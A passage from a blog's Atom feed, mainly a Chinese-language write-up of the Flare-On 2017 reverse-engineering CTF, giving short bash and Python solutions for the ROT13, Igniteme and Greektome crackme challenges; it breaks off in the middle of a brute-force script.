&lt;p&gt;Things in &lt;code&gt;rtld.c&lt;&#x2F;code&gt; and &lt;code&gt;libc-tls.c&lt;&#x2F;code&gt; are doing simillar things, so I will just use &lt;code&gt;libc-tls.c&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;&#x2F;div&gt;
&lt;div class=&quot;footnote-definition&quot; id=&quot;2&quot;&gt;&lt;sup class=&quot;footnote-definition-label&quot;&gt;2&lt;&#x2F;sup&gt;
&lt;p&gt;We say it is NEARLY, becase something like DTV is still different from the original value.&lt;&#x2F;p&gt;
&lt;&#x2F;div&gt;
</content>
        
    </entry>
    <entry xml:lang="zh-Hans-cn">
        <title>Flare-on Challenge 2017 部分题解</title>
        <published>2017-10-22T00:00:00+00:00</published>
        <updated>2017-10-22T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Unknown
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://blog.iret.xyz/posts/flare-on-2017-wp/"/>
        <id>https://blog.iret.xyz/posts/flare-on-2017-wp/</id>
        
        <content type="html" xml:base="https://blog.iret.xyz/posts/flare-on-2017-wp/">&lt;p&gt;&#x2F;&#x2F;已经在内部论坛发过一次了，再发一次，凑凑博客更新量。&lt;&#x2F;p&gt;
&lt;p&gt;Flareon是主要题目为逆向的一场CTF比赛，已经是第四届了，比赛时间一个月左右。知道今年的比赛开始的时候就是九月底了，真正做题基本就是在10月1日开始，然而比赛结束是在北京时间10月13日中午，而且我还要上班……一共十二道题，绝大多数题是在十一假期完成的，最后差一块题拿牌子，实在是时间不够。&lt;&#x2F;p&gt;
&lt;p&gt;虽然Flareon官方也&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;www.fireeye.com&#x2F;blog&#x2F;threat-research&#x2F;2017&#x2F;10&#x2F;2017-flare-on-challenge-solutions.html&quot;&gt;发了题解&lt;&#x2F;a&gt;，但好歹也是做了很久的题……总之还是发上来吧。&lt;&#x2F;p&gt;
&lt;p&gt;看了看他们的WP，最后一题的页数竟有四十多页，就算一天半天不吃不喝也没法做完，何况还要上班……所以还是明年再战吧。&lt;&#x2F;p&gt;
&lt;p&gt;日志和压缩包还在整理，有时间传。&lt;&#x2F;p&gt;
&lt;p&gt;使用的软件版本：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Windows version: 10.0.15063&lt;&#x2F;li&gt;
&lt;li&gt;x64dbg version:  Sep 12 2017&lt;&#x2F;li&gt;
&lt;li&gt;IDA version:     IDA Pro 7.0&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;感想：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;不要为了做题而做题。企业环境挖洞是一回事，你现在是在学习，是另一回事。想好自己是谁。&lt;&#x2F;li&gt;
&lt;li&gt;目前网络安全更多的是适量的数学+少量的EE+足量的CS。没有&lt;strong&gt;扎实的&lt;&#x2F;strong&gt;CS基础就不要谈安全。&lt;&#x2F;li&gt;
&lt;li&gt;相比于国内CTF比赛的套路题，国外的比赛更多的是通过CTF题目为渠道，让你了解更多的东西。这一点国内比赛这两年多多少少学到了一点，但真的还差很多很多。&lt;&#x2F;li&gt;
&lt;li&gt;学习能力和信息收集能力很重要。我也不知道自己是怎么一小时内敢在.Net CLR里下断点的，还没有符号……&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;另外近日听说x部下了指示，漏洞细节不能公开。希望大家不要受影响，不要被一些无谓的、傻逼的、操蛋的行政命令束缚住自己进步的脚步。&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;rot13&quot;&gt;ROT13&lt;&#x2F;h2&gt;
&lt;p&gt;JS里将字符串ROT13之后做的比较。直接用bash就可以了：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BFBDB6; background-color: #0D1017;&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;alias&lt;&#x2F;span&gt;&lt;span&gt; rot13&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;quot;tr &amp;#39;[A-Za-z]&amp;#39; &amp;#39;[N-ZA-Mn-za-m]&amp;#39;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;echo&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; PyvragFvqrYbtvafNerRnfl@syner-ba.pbz&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; |&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt; rot13&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;# ClientSideLoginsAreEasy@flare-on.com&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;h2 id=&quot;igniteme&quot;&gt;Igniteme&lt;&#x2F;h2&gt;
&lt;p&gt;程序启动后输入字符串XOR然后做对比。那么就用python解开：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BFBDB6; background-color: #0D1017;&quot;&gt;&lt;code data-lang=&quot;python&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;vp&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; [&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;0D&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;26&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;49&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;45&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;2A&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;17&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;78&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;44&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;2B&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;6C&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;5D&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;5E&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;45&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;12&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;2F&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;17&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;2B&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;44&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;6F&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;6E&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;56&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;09&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;5F&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;45&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;47&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;73&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;26&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;0A&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;0D&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;13&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;17&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;48&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;42&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;01&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;40&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;4D&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;0C&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;02&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;69&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;04&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;for&lt;&#x2F;span&gt;&lt;span&gt; i&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; in&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt; range&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;len&lt;&#x2F;span&gt;&lt;span&gt;(vp)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;2&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; -&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; -&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  vp[i]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; vp[i]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; ^&lt;&#x2F;span&gt;&lt;span&gt; vp[i&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;vp&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; &amp;#39;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;join&lt;&#x2F;span&gt;&lt;span&gt;([&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt; chr&lt;&#x2F;span&gt;&lt;span&gt;(i)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; for&lt;&#x2F;span&gt;&lt;span&gt; i&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; in&lt;&#x2F;span&gt;&lt;span&gt; vp[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;]])&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;# R_y0u_H0t_3n0ugH_t0_1gn1t3@flare-on.com&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;h2 id=&quot;greektome&quot;&gt;Greektome&lt;&#x2F;h2&gt;
&lt;p&gt;输入被分成多组，每组20个字符，密钥验证算法如下：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BFBDB6; background-color: #0D1017;&quot;&gt;&lt;code data-lang=&quot;python&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;# # Key judgement&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;# for &amp;amp;bytes in 0x40107c -&amp;gt; 0x40107c+0x79:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;#     bytes ^= key&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;#     bytes += 0x22&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;# assert( 0xFB5E == sub_4011E6(0x40107C, 0x79) )&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;# # sub_4011E6(x,y)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;# assert( y != 0)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;# ebx = x&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;# eax = 0x14&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;# {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;#     di = (int16)var_4&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;#     esi = min(eax, edx)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;#     edx -= esi&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;#     {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;#         eax = &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;#     }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;# }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;# &#x2F;&#x2F; CMOVx: Conditional move according to X&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;# v2: 0x79 -&amp;gt; 0x65 -&amp;gt; 0x51 -&amp;gt; 0x3D -&amp;gt; 0x29 -&amp;gt; 0x15 -&amp;gt; 0x01 -&amp;gt; 0&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;最简单的方法还是用python爆破：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BFBDB6; background-color: #0D1017;&quot;&gt;&lt;code data-lang=&quot;python&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;def&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt; generator&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;a1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;a2&lt;&#x2F;span&gt;&lt;span&gt;):&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    v2&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; a2&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    v3&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;ff&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    v8&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;ff&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;    if&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; not&lt;&#x2F;span&gt;&lt;span&gt; a2&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;        raise&lt;&#x2F;span&gt;&lt;span style=&quot;color: #39BAE6;&quot;&gt; ValueError&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    v4&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; a1&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    scanned&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; 0&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;    while&lt;&#x2F;span&gt;&lt;span&gt; v2&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        v5&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; v8&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        v6&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;14&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; if&lt;&#x2F;span&gt;&lt;span&gt; v2&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;14&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; else&lt;&#x2F;span&gt;&lt;span&gt; v2&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
